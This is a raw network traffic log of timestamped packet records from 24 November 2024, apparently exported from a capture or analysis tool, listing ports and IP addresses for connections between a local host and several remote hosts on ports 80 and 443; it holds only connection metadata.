Nov 24, 2024 00:06:45.471158981 CET	49835	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:45.471178055 CET	443	49835	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:45.482896090 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:45.482923031 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:45.483058929 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:45.492274046 CET	49872	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:45.492286921 CET	443	49872	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:45.511095047 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.630567074 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.681185007 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.681256056 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.681317091 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.681570053 CET	49859	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.681591034 CET	443	49859	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.719213963 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.719290972 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.719358921 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.721600056 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.721679926 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.721740961 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.722156048 CET	49850	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.722168922 CET	443	49850	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.722491980 CET	49863	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.722516060 CET	443	49863	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.725846052 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.725965023 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.726022005 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.726699114 CET	49862	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:45.726717949 CET	443	49862	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:45.765121937 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.765196085 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.765291929 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.766324997 CET	49864	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.766335964 CET	443	49864	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.767607927 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.767668009 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.767719984 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.768223047 CET	49851	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:45.768241882 CET	443	49851	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:45.971127033 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971191883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971210957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971224070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971232891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971266031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971298933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971350908 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971385956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971407890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971445084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971465111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971498966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971510887 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971534967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.971544027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.971579075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.979660988 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.979743004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.979790926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.979839087 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:45.988063097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:45.988136053 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.047431946 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.048147917 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.048165083 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.048671007 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.048676014 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.090673923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.090740919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.123284101 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.143759966 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.143778086 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.144270897 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.144277096 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.181555986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.181617975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.181621075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.181658983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.185534000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.185652971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.185694933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.185719967 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.193511963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.193662882 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.196393967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.196496010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.196530104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.196557999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.199609041 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.203530073 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.203552008 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.204236031 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.204241037 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.204356909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.204416037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.204468012 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.204588890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.212305069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.212385893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.212441921 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.212651014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.220309019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.220344067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.220417023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.228240013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.228306055 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.228367090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.228420973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.235189915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.235258102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.235346079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.235714912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.242233038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.242290020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.242309093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.242336035 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.249219894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.249285936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.249325991 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.249371052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.251761913 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.251806021 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.251976967 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.252157927 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.252185106 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.252357006 CET	49873	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.252367020 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.252387047 CET	443	49873	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.252563000 CET	49874	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.252577066 CET	443	49874	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.256246090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.256304026 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.256305933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.256351948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.316890001 CET	443	49868	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.318428040 CET	49868	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.318451881 CET	443	49868	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.319053888 CET	49868	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.319060087 CET	443	49868	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.392143011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.392158031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.392229080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.394539118 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.394551039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.394588947 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.394606113 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.399554014 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.399607897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.399677992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.399725914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.404592991 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.404696941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.404701948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.404741049 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.409631968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.409645081 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.409693956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.414699078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.414747953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.414750099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.414788961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.419725895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.419785976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.419807911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.419855118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.424748898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.424829006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.424892902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.429795027 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.429851055 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.429862022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.429919004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.434823036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.434895039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.434922934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.434957981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.439874887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.439918041 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.439965963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.440027952 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.444930077 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.445014954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.445039034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.445071936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.449985981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.450090885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.450151920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.455032110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.455073118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.455126047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.455167055 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.460100889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.460175991 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.460215092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.460295916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.465118885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.465171099 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.465233088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.465456963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.470184088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.470380068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.470432997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.471957922 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:46.472548008 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:46.472564936 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:46.475250006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.475392103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.475421906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.475440025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.476373911 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:46.476455927 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:46.479094028 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:46.479295969 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:46.479346991 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:46.480365038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.480376959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.480420113 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.485321999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.485332966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.485378981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.485414982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.490344048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.490406036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.490468025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.490509987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.495404959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.495462894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.495534897 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.495636940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.500469923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.500530958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.527338028 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:46.575437069 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.575519085 CET	443	49866	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.575921059 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.575921059 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.575921059 CET	49866	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.576693058 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.576756001 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.577361107 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.577986002 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.578010082 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.578022003 CET	49865	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.578027964 CET	443	49865	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.580002069 CET	49875	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.580033064 CET	443	49875	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.580147982 CET	49875	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.580372095 CET	49875	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.580383062 CET	443	49875	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.580648899 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.580681086 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.580756903 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.580888987 CET	49876	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.580903053 CET	443	49876	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.607017994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.607032061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.607105017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.607136011 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.607212067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.607223034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.607271910 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.609512091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.609523058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.609570980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.613821983 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.613835096 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.613883972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.622433901 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.622453928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.622519016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.622545004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.622700930 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.622713089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.622756958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.624706984 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.624819994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.624823093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.624918938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.628261089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.628371000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.628384113 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.628434896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.631874084 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.631887913 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.631933928 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.631968021 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.635381937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.635472059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.635528088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.637300968 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.637593031 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.637623072 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.637952089 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.638411045 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.638513088 CET	443	49870	172.64.41.3	192.168.2.6
Nov 24, 2024 00:06:46.638813972 CET	49870	443	192.168.2.6	172.64.41.3
Nov 24, 2024 00:06:46.638940096 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.638994932 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.639039993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.639094114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.639602900 CET	49869	443	192.168.2.6	162.159.61.3
Nov 24, 2024 00:06:46.639625072 CET	443	49869	162.159.61.3	192.168.2.6
Nov 24, 2024 00:06:46.642535925 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.642546892 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.642591953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.642623901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.646115065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.646126032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.646186113 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.649652958 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.649665117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.649713039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.651829004 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.651899099 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.651953936 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.652328014 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.652345896 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.652355909 CET	49867	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.652360916 CET	443	49867	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.653206110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.653218031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.653266907 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.653301001 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.656744003 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.656786919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.656795025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.656825066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.658401966 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.658438921 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.658516884 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.658736944 CET	49877	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:46.658741951 CET	443	49877	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:46.660358906 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.660371065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.660435915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.663832903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.663892984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.664010048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:46.665230036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:46.667431116 CET	80	49818	185.215.113.206	192.168.2.6
